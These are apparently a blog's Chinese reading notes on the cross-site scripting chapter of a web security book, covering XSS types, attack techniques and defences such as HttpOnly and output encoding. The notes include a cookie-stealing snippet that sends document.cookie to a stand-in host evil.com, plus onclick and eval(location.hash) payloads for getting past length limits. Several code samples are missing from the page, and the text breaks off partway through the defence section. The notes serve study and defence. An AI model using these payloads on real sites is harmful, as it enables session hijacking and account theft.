【读书笔记】《白帽子讲web安全》跨站脚本攻击

目录

前言:

第二篇 客户端脚本安全

第3章 跨站脚本攻击(XSS)

3.1XSS简介

3.2XSS攻击进阶

3.2.1初探XSS Payload

3.2.2强大的XSS Payload

3.2.2.1 构造GET与POST请求

3.2.2.2XSS钓鱼

3.2.2.3识别用户浏览器

3.2.2.4识别用户安装的软件

3.2.2.5CSS History Hack

3.2.2.6获取用户的真实IP地址

3.2.3XSS攻击平台

3.2.4终极武器:XSS Worm

3.2.5调试JavaScript

3.2.6XSS构造技巧

3.2.6.1利用字符编码

3.2.6.2绕过长度限制

3.2.6.3使用标签

3.2.6.4window.name的妙用

3.2.7变废为宝:Mission Impossible

3.2.8最容易被忽视的角落:Flash XSS

3.2.9真的高枕无忧吗:JavaScript开发框架

3.3XSS的防御

3.3.1四两拨千斤:HttpOnly

3.3.2输入检查

3.3.3输出检查

3.3.4正确地防御XSS

3.3.5处理富文本

3.3.6防御DOM Based XSS

3.3.7换个角度看XSS的风险

3.4小结


前言:

根据个人浅薄的理解,仅记录我现阶段认为有直接价值的部分,余下只作了解。

(也就是考试周打发时间的消遣,换换脑子,看书更多是观念与知识面上的学习)

第二篇 客户端脚本安全

第3章 跨站脚本攻击(XSS)

3.1XSS简介

跨站脚本攻击,Cross Site Script,在安全领域叫XSS。

XSS攻击通常是黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时控制用户浏览器

XSS根据效果的不同可以分成三类:

①反射型XSS:又叫“非持久型XSS”,其只是简单地把用户输入的数据“反射”给浏览器。黑客需要诱使用户“点击”一个恶意链接才能攻击成功。

②存储型XSS:又叫“持久型XSS”,这种XSS具有很强的稳定性,其会把黑客输入的恶意数据“存储”在服务器端。所有向服务器请求这段数据的用户,都会在他们的浏览器执行恶意代码。

③DOM型XSS:其是通过修改页面的DOM节点形成的XSS,这种类型的XSS并非按照“数据是否存放在服务器端”来划分,从效果上来说也是反射型XSS。

【读书笔记】《白帽子讲web安全》跨站脚本攻击_第1张图片

这里给出两种payload:

' onclick=alert(/xss/) //
拼接后:testLink
'><'
拼接后:<''>testLink

3.2XSS攻击进阶

3.2.1初探XSS Payload

XSS Payload实际上就是JS脚本,所以任何JS脚本能实现的功能,XSS Payload都能做到。

一个最常见的payload就是读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。

如下所示,攻击者先加载一个远程脚本:

http://www.a.com/test.htm?abc=">

在evil.js中,可以通过如下代码窃取Cookie

var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。

事实上,http://www.evil.com/log并不一定要存在,因为这个请求会在远程服务器的web日志中留下记录。

通过XSS攻击,我们可以完成“Cookie劫持”攻击,直接登录进用户的账户。

3.2.2强大的XSS Payload

"Cookie劫持"并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站则可能会把Cookie与客户端IP绑定,从而使得XSS窃取的Cookie失去意义。

尽管如此,在XSS攻击成功后,攻击者仍然有许多方式能控制用户的浏览器。

3.2.2.1 构造GET与POST请求

一个网站的应用,只需要接收HTTP协议中的GET或POST请求,即可完成所有操作。对于攻击者来说,仅通过JS就可以让浏览器发出这两种请求。

也就是说XSS攻击可以通过模拟GET、POST请求操作用户的浏览器。可以进行一些危险操作,也可以将敏感信息发送到远程服务器上,这只需要构造不同的GET或POST请求即可,书里不做赘述。

3.2.2.2XSS钓鱼

用JS在当前界面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其将被发送至黑客的远程服务器上。

3.2.2.3识别用户浏览器

攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如,如果知道用户使用的浏览器、操作系统,攻击者就有可能实施一次精准的浏览器内存攻击,最终给用户电脑植入一个木马。XSS能够帮助攻击者快速达到收集信息的目的。

3.2.2.4识别用户安装的软件

知道了用户使用的浏览器、操作系统后,进一步可以识别用户安装的软件。

这种方法很早就被用于“挂马攻击”——黑客通过用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

3.2.2.5CSS History Hack

通过CSS来发现一个用户曾经访问过的网站,其原理时利用style的visited属性——如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。

3.2.2.6获取用户的真实IP地址

通过XSS Payload还有办法获取一些客户端的本地IP地址。

JS本身并没有提供获取本地IP地址的能力,一般来说要调用第三方API获取客户端本地IP地址。

3.2.3XSS攻击平台

为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。

3.2.4终极武器:XSS Worm

3.2.5调试JavaScript

3.2.6XSS构造技巧

3.2.6.1利用字符编码

3.2.6.2绕过长度限制

很多时候,产生XSS的地方会有变量的长度限制,这个限制可能是服务器端逻辑造成的。

①攻击者可以利用事件(Event)来缩短所需要的字节数。如:

假设下面代码存在一个XSS漏洞:

攻击者可以这样构造XSS:
">
如果有长度限制
可以利用事件来缩短长度:
" onclick=alert(1)//

 ②最好的办法是把XSS Payload写到别处,再通过简短的代码加载这段XSS Payload。

最常用的一个“藏代码”的地方,就是“location.hash”。

接着上面的例子就可以继续优化:

" onclick="eval(location.hash.substr(1))
因为location.hash的第一个字符是#,所以必须去除第一个字符。此时构造出的URL为:
http://www.a.com/test.html#alert(1)

location.hash本身没有长度限制,但是浏览器的地址栏是有长度限制的,不过这个长度已经足够写很长的payload了。要是地址栏的长度也不够用,还可以再使用加载远程JS的方法,来写更多的代码。

③利用注释符绕过长度限制

比如我们能控制两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的注释符号,把两个文本框之间的HTML代码全部注释掉,从而“打通”两个标签。

3.2.6.3使用标签

标签并不常用,它的作用是定义页面上的所有使用“相对路径”标签的hosting地址。

标签将指定其后的标签相对路径默认从base的href取URL。

攻击者如果在页面中插入了标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面的所有使用“相对路径”的标签。

3.2.6.4window.name的妙用

window对象是浏览器的窗体,而非document对象,因此很多时候window对象不受同源策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。

3.2.7变废为宝:Mission Impossible

3.2.8最容易被忽视的角落:Flash XSS

3.2.9真的高枕无忧吗:JavaScript开发框架

利用JS框架中的各种强大功能,可以快速而简洁地完成前端开发。

一些JS开发框架也曾暴露过一些XSS漏洞。使用JS框架并不能让开发者高枕无忧,同样可能存在安全问题。除了需要关注框架本身的安全外,开发者还要提高安全意识,理解并正确地使用开发框架。

3.3XSS的防御

浏览器内置了一些对抗XSS的措施,比如Firefox的CSP、Noscript拓展,IE8内置的XSS Filter等。对于网站来说,也应该寻找优秀的解决方案,保护用户不被XSS攻击。

3.3.1四两拨千斤:HttpOnly

浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。

严格地说,HttpOnly并非为了对抗XSS——HttpOnly解决的是XSS后的Cookie劫持攻击。

HttpOnly是在Set-Cookie时标记的。

举例:



运行这段代码只会弹窗cookie1=test1,因为cookie2有httponly保护没办法被js读取。

3.3.2输入检查

输入检查有点像一种“白名单”,也可以让一些基于特殊字符的攻击失效。

目前Web开发的普遍做法,是同时在客户端JS中和服务器端代码中实现相同的输入检查。客户端JS的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。

输入数据,还可能会被展示在多个地方,每个地方的语境可能不同,如果使用单一替换操作,则可能会出现问题。

3.3.3输出检查

“输入检查”存在很多问题,我们可以采用“输出检查”。

在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

针对HTML代码的编码方式是HtmlEncode

HtmlEncode并非专用名词,它只是一种函数实现。它的作用是将字符转换成HTMLEntities

HTML 实体可以帮助防止跨站脚本攻击(XSS)的一种常用方法是将用户输入的特殊字符进行转义,确保它们在 HTML 中被正确解析而不被当作标签或脚本执行。

当用户输入的文本中包含特殊字符(如 <, >, &, ", ' 等),如果直接在 HTML 中显示,这些字符可能会被浏览器解释为 HTML 标签或 JavaScript 代码,从而导致恶意脚本的注入和执行。

通过使用 HTML 实体,可以将特殊字符转义为安全的字符实体,这样它们就不会被浏览器解析为标签或代码。例如,将 < 转义为 <,将 > 转义为 >,将 & 转义为 &,等等。

当用户输入的文本经过 HTML 实体编码后插入 HTML 页面中时,浏览器会将实体转义回原始字符,但不会将其解析为标签或代码。这样可以防止恶意脚本的注入,确保用户输入的文本只作为纯文本显示。

针对JS的编码方式是JavascriptEncode

JavaScriptEncode 的实现方法通常是将特殊字符转义为 Unicode 编码,例如将 < 转义为 \x3c,将 > 转义为 \x3e,将 & 转义为 \x26 等。这样可以确保特殊字符不会被解释为 JavaScript 代码,而只会被当做普通字符串处理。

此外还有许多用于各种情况的编码函数,如XMLEncode、JSONEncode

3.3.4正确地防御XSS

为了更好地设计XSS防御方案,需要认清XSS产生的本质原因。

XSS的本质还是一种“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的语义。

想要根治XSS问题,可以列出所有XSS可能发生的场景,再一一解决。

在HTML标签中输出:对变量使用HtmlEncode

在HTML属性中输出:对变量使用HtmlEncode

你可能感兴趣的:(web安全,笔记,安全,白帽子讲web安全,XSS,跨站脚本攻击)